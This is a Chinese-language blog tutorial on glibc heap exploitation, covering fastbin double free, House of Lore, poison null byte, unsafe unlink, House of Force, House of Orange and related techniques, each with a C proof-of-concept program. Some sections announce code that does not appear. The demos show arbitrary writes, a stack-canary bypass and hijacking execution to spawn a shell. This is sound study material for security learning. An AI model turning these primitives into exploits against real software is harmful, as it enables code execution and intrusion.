美文网首页网络安全实验室
Linux heap 学习 (下)

Linux heap 学习 (下)

作者: 蚁景科技 | 来源:发表于2018-09-18 17:29 被阅读95次

    本文为原创文章,转载请注明出处!


    之前我们学习了Linux heap 学习 上,今天的文章继续第二部分的内容

    title: Linux heap 学习 tags: Heap,pwn,linux

    grammar_cjkRuby: true

    利用周末的时间,系统的学习了linux 系统的glibc堆分配机制,从中了解了很多以前很模糊的东西。本文打算系统的讲解一下关于堆的分配和使用机制,同时思考可能存在的一些攻击方法。

    0x03 Heap 漏洞利用方法

    Fast bin 类型

    0x1 Double free

    在fastbin中存在的一种漏洞利用方式,fastbin在free堆块时会检查是否重复释放同一个堆块。如果我们绕过了安全机制将一个堆块释放了两次,那么就可以通过malloc的堆块对fastbin链表中的堆块的fd进行改写,从而可以实现申请任意内存的目的。

    下面是具体的利用方法:

    #include <stdio.h>

    #include <stdlib.h>

    int main()

    {

       unsigned long long stack_var[2];

       fprintf(stderr, "The address we want malloc() to return is %p.\n", 16+(char *)stack_var);

       int *a = malloc(8);

       int *b = malloc(8);

       int *c = malloc(8);

       free(a);

       free(b);//Pass the free check

       free(a);

       unsigned long long *d = malloc(8);

       malloc(8);//Now the fastbin list has only a left

       stack_var[1] = 0x20;

       fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);

       *d = (unsigned long long) (((char*)&stack_var) );

       fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));

       fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

    }

    利用方法比较简单,绕过检查机制,两次申请内存,重写fastbin堆块的链表,造成任意内存地址申请。

    0x2 Fastbin cover fd

    通过前一个fastbin覆盖后面的fastbin的fd使得下下次分配的时候可以得到任意地址(这里测试的是bss段

    具体操作方法如下

    通过溢出前一块,覆盖下一块fd指针。关键在于bypass malloc fastbin安全检测,看大小是否是fastbin的范围

    0x3 House of Spirit

    看到fastbin的链表结构是不是又想到一种,如果free一个假的堆块指针,那么他也会插进fastbin链表,这时再次申请相同内存空间(注意大小),就可以对我们伪造的一段内存进行操作。 下面是具体的利用方法。

    主要还是在free的时候检查的不够仔细,造成伪造chunk插入fastbin的现象。

    Small bin 类型

    0x1 House of Einherjar

    此漏洞的根本原因在于在执行free函数是,检测previnuse位后符合合并条件就开始合并,虽然在unlink时有是否在链表的检测,但是没有对prevsize的大小进行检测。 具体利用过程如下

    对于堆块合并检查的不够到位,有漏洞可寻。

    0x2 House of lore

    通过伪造smallbin链表,欺骗smallbin将伪造链表加入主链表。从而获得目标地址的读写权。 具体操作如下

    /*

    Advanced exploitation of the House of Lore - Malloc Maleficarum.

    This PoC take care also of the glibc hardening of smallbin corruption.

    [ ... ]

    else

       {

         bck = victim->bk;

       if (__glibc_unlikely (bck->fd != victim)){

                     errstr = "malloc(): smallbin double linked list corrupted";

                     goto errout;

                   }

          set_inuse_bit_at_offset (victim, nb);

          bin->bk = bck;

          bck->fd = bin;

          [ ... ]

    */

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <stdint.h>

    void jackpot(){ puts("Nice jump d00d"); exit(0); }

    int main(int argc, char * argv[]){

     intptr_t* stack_buffer_1[4] = {0};//stack1

     intptr_t* stack_buffer_2[3] = {0};//stack2

     intptr_t *victim = malloc(0x80);

     intptr_t *victim_chunk = victim-2;

     stack_buffer_1[0] = 0;

     stack_buffer_1[1] = 0;

     stack_buffer_1[2] = victim_chunk;

     stack_buffer_1[3] = (intptr_t*)stack_buffer_2;//create fd & bk point

     stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

     void *p5 = malloc(1000);//avoid to add to top chunk

     free((void*)victim);//

     void *p2 = malloc(1200);//make unsorted chunk into small chunk

     //------------VULNERABILITY-----------

     fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

     victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

     //------------------------------------

     void *p3 = malloc(0x80);//malloc old victim address

     char *p4 = malloc(0x80);//get stack address

     fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack

     intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

     memcpy((p4+40-10-6), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    }

    主要是可以对free掉的指针进行操作,从而使得链表的构成。同时绕过了smallbin 的malloc检测,成功实现了分配栈地址,最后覆盖了ret地址

    0x3 poison null byte

    此类型的漏洞比较新奇,主要利用的堆块在向前合并时并没有检查前一块堆块的大小,导致了合并现象的发生,从而可以操作已经malloc的内存区域。

    申请三个连续的内存a,b,c

    释放b,并且将末尾块的前8byte设置成虚假的prevsize,用来保护c块中真实的prevsize

    用a的0 byte 溢出覆盖b堆块的size位,使得大小变小,且正好在prev_size的上面

    连续申请b1,b2,注意总大小不要超过b,这样使得c的P位始终保持为0,为的是后面的free(c)合并操作,这时因为有2中的fake prev_size的保护所以一直没有变

    最后free(c),检测b1是否在freebin的链表中

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <stdint.h>

    #include <malloc.h>

    int main()

    {

       uint8_t* a;

       uint8_t* b;

       uint8_t* c;

       uint8_t* b1;

       uint8_t* b2;

       uint8_t* d;

       a = (uint8_t*) malloc(0x100);

       fprintf(stderr, "a: %p\n", a);

       int real_a_size = malloc_usable_size(a);

       b = (uint8_t*) malloc(0x200);

       fprintf(stderr, "b: %p\n", b);

       c = (uint8_t*) malloc(0x100);

       fprintf(stderr, "c: %p\n", c);

       uint64_t* b_size_ptr = (uint64_t*)(b - 8);

       *(size_t*)(b+0x1f0) = 0x200;//fake prev_size

       free(b);

       a[real_a_size] = 0; // this 0 byte change the size of chunk to save the old prev_size

       b1 = malloc(0x100);

       b2 = malloc(0x80);

       fprintf(stderr, "b2: %p\n",b2);

       memset(b2,'B',0x80);

       fprintf(stderr, "Current b2 content:\n%s\n",b2);

       free(b1);//to marge with c

       *(size_t*)(c-8) = 0xf0;

       *(size_t*)(c+0xe8) = 0x21;

       free(c);

       d = malloc(0x200);//get b memery

       memset(d,'D',0x200);

       fprintf(stderr, "New b2 content:\n%s\n",b2);

    }

    重点还是在于那个fake prev_size,一个很奇特的用法

    0x4 overlapping chunks after free

    首先创建两个smallbin,然后正常free掉一个smallbin ,然后更改free掉的chunk的size,使之包含下一个chunk,再次malloc即可对下一chunk进行操作

    #include <stdio.h>

    #include <stdlib.h>

    #include <pthread.h>

    #include <unistd.h>

    #include <sys/types.h>

    long long int fake_chunk[100];

    int main(int argc, char *argv[])

    {

       void *buf0,*buf1,*buf2,*buf3;

       fake_chunk[1]=0x41;

       buf0 = malloc(0x80);

       buf1 = malloc(0x80);

       free(buf0);

       int *offset = (char *)buf0-8;//find next chunk's fd point address

       *offset =  0x201;//chunk->fd = fake_chunk

       buf3 = malloc(0x1f0);

       memset(buf3,'1',0x190);

       printf("%s\n",buf1 );

       return 0;

    }

    0x5 overlapping chunks before free

    上一个是在free之后更改大小,这一次是在free之前更改大小

    /*

    Yet another simple tale of overlapping chunk.

    This technique is taken from

    https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.

    This is also referenced as Nonadjacent Free Chunk Consolidation Attack.

    */

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <stdint.h>

    #include <malloc.h>

    int main(){

     intptr_t *p1,*p2,*p3,*p4,*p5,*p6;

     unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;

     int prev_in_use = 0x1;

     p1 = malloc(1000);

     p2 = malloc(1000);

     p3 = malloc(1000);

     p4 = malloc(1000);

     p5 = malloc(1000);

     real_size_p1 = malloc_usable_size(p1);

     real_size_p2 = malloc_usable_size(p2);

     real_size_p3 = malloc_usable_size(p3);

     real_size_p4 = malloc_usable_size(p4);

     real_size_p5 = malloc_usable_size(p5);

     memset(p1,'A',real_size_p1);

     memset(p2,'B',real_size_p2);

     memset(p3,'C',real_size_p3);

     memset(p4,'D',real_size_p4);

     memset(p5,'E',real_size_p5);

     free(p4);

     *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE

     free(p2);

     p6 = malloc(2000);

     real_size_p6 = malloc_usable_size(p6);

     fprintf(stderr, "\nData inside chunk p3: \n\n");

     fprintf(stderr, "%s\n",(char *)p3);

     fprintf(stderr, "\nLet's write something inside p6\n");

     memset(p6,'F',1500);  

     fprintf(stderr, "\nData inside chunk p3: \n\n");

     fprintf(stderr, "%s\n",(char *)p3);

    }

    起因还是可以随意更改chunk的size

    unsorted bin 类型

    0x1 unsorted bin attack

    通过对unsorted 堆块指针的篡改,使得在unsorted bin链表中拆掉时,造成任意地址写漏洞。 并且只是单向链表的赋值 p->bk->fp=p->fp

    #include <stdio.h>

    #include <stdlib.h>

    int main(){

       unsigned long stack_var1=1;

       unsigned long stack_var2=2;

       unsigned long *q,*p=malloc(400);

       q=malloc(500);

       free(p);

       //------------VULNERABILITY-----------

       p[1]=(unsigned long)(&stack_var1-2);

       p[0] = (unsigned long)(q);

       //------------------------------------

       malloc(400);//this option will check fastbin smallbin ,the last one is unsorted bin .if not find fit chunk in unsorted bin it will make the chunk into small or large bin list

       fprintf(stderr, "%p: %p\n", &stack_var1, (void*)stack_var1);

       fprintf(stderr, "%p: %p\n", &stack_var2, (void*)stack_var2);

    }

    这里有个疑问在unsortedbin 的chunk拆下来时,其fd中的地址内容并没有改变,推测只改变了bk指针内的内容。

    0x2 unsafe unlink

    在空闲堆块合并的时候执行unlink函数,通过伪造fd和bk指针达到修改任意地址的目的。注意unlink的安全检测,具体操作如下

    申请两个连续的chunk

    在第一个chunk中伪造一个fake chunk

    将bss的指针参数地址填写到fake chunk的fd,bk,并且能够绕过检测unlink

    free(chunk2) 发生合并,并执行unlink,将free chunk从链表中卸掉

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <stdint.h>

    uint64_t *chunk0_ptr;

    int main()

    {

       int malloc_size = 0x80; //we want to be big enough not to use fastbins

       int header_size = 2;

       chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0

       uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

       chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

       chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

       uint64_t *chunk1_hdr = chunk1_ptr - header_size;

       chunk1_hdr[0] = 0x80;//fake size of prev chunk

       chunk1_hdr[1] &= ~1;//make prev chunk free

       free(chunk1_ptr);

       char victim_string[8];

       strcpy(victim_string,"Hello!~");

       chunk0_ptr[3] = (uint64_t) victim_string;

       fprintf(stderr, "Original value: %s\n",victim_string);

       chunk0_ptr[0] = 0x4141414142424242LL;

       fprintf(stderr, "New Value: %s\n",victim_string);

    }

    这种利用方法只需绕过unlink的链表检测,操作比较简单

    Top chunk 类型

    0x1 House of Force

    这个类型的漏洞利用方法比较简单,通过溢出更改topchunk的大小(这里改成-1),从而可以malloc到想要的内存地址 具体利用流程如下

    #include <stdio.h>

    #include <stdint.h>

    #include <stdlib.h>

    #include <string.h>

    #include <stdint.h>

    #include <malloc.h>

    char bss_var[] = "This is a string that we want to overwrite.";

    int main(int argc , char* argv[])

    {

       intptr_t *p1 = malloc(256);

       int real_size = malloc_usable_size(p1);

       //----- VULNERABILITY ----

       intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);

       ptr_top[0] = -1;//change the size of topchunk

       //------------------------

       unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;//except  bss_var head's length sizeof(long)*2

       void *new_ptr = malloc(evil_size);

       void* ctr_chunk = malloc(100);

       fprintf(stderr, "... old string: %s\n", bss_var);

       strcpy(ctr_chunk, "YEAH!!!");

       fprintf(stderr, "... new string: %s\n", bss_var);

    }

    这里BSS段在heap的前面所以说相当于malloc函数向前申请了空间,这一点不知道是如何做到的,并且这里缺少安全机制的检测

    0x2 The house of orange

    这个漏洞的利用过程很是奇妙,主要利用了在执行abort的时候调用了 _IO_flush_all_lockp函数,这里需要了解 IO_FILE_ALL的结构,

    所以这个漏洞的根本原因在于,重写了存储 IO_FILE_ALL的指针,通过触发malloc函数中的unlink操作使得检测失败,执行难abort函数,然而其中的 _IO_flush_all_lockp函数早已被替换为其他的地址,成功劫持执行流。

    几个步骤

    申请两个大于fastbin大小的堆块,并且把第一个chunk释放掉(主要是为了获得fp,bk指针)

    伪造iofile,通过unsorted attack去更改iofile指针中的内容

    更改被free chunk的大小(将该chunk存放在特定的smallbin中)

    执行malloc 申请内存大小不同于上述的chunk,通过unsorted的遍历触发malloc abort函数

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    int winner ( char *ptr);

    int main()

    {

       char *p1, *p2;

       size_t io_list_all, *top;

       p1 = malloc(0x400-16);

       malloc(0x400-16);

       free(p1);

       top = (size_t *) ( (char *) p1 - 16);

       io_list_all = top[2] +0x9e8;

       top[3] = io_list_all - 0x10;

       memcpy( ( char *) top, "/bin/sh\x00", 8);

       top[1] = 0x61;

       _IO_FILE *fp = (_IO_FILE *) top;

       fp->_mode = 0; // top+0xc0

       fp->_IO_write_base = (char *) 2; // top+0x20

       fp->_IO_write_ptr = (char *) 3; // top+0x28

       size_t *jump_table = &top[12]; // controlled memory

       jump_table[3] = (size_t) &winner;

       *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

       /* Finally, trigger the whole chain by calling malloc */

       malloc(0x40);//  size <= 0x50

       return 0;

    }

    int winner(char *ptr)

    {

       system(ptr);

       return 0;

    }

    注意几个要点

    程序流劫持是abort中的函数造成的,具体的操作是替换了IO_FILE的指针

    替换指针的操作是unsorted bin从链表中拆除造成的

    修改堆块的大小是为了将chunk插入相对应偏移的smallbin list中

    malloc异常是由unsorted bin指针异常引起的


    文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

    相关文章

      网友评论

        本文标题:Linux heap 学习 (下)

        本文链接:https://www.haomeiwen.com/subject/minpnftx.html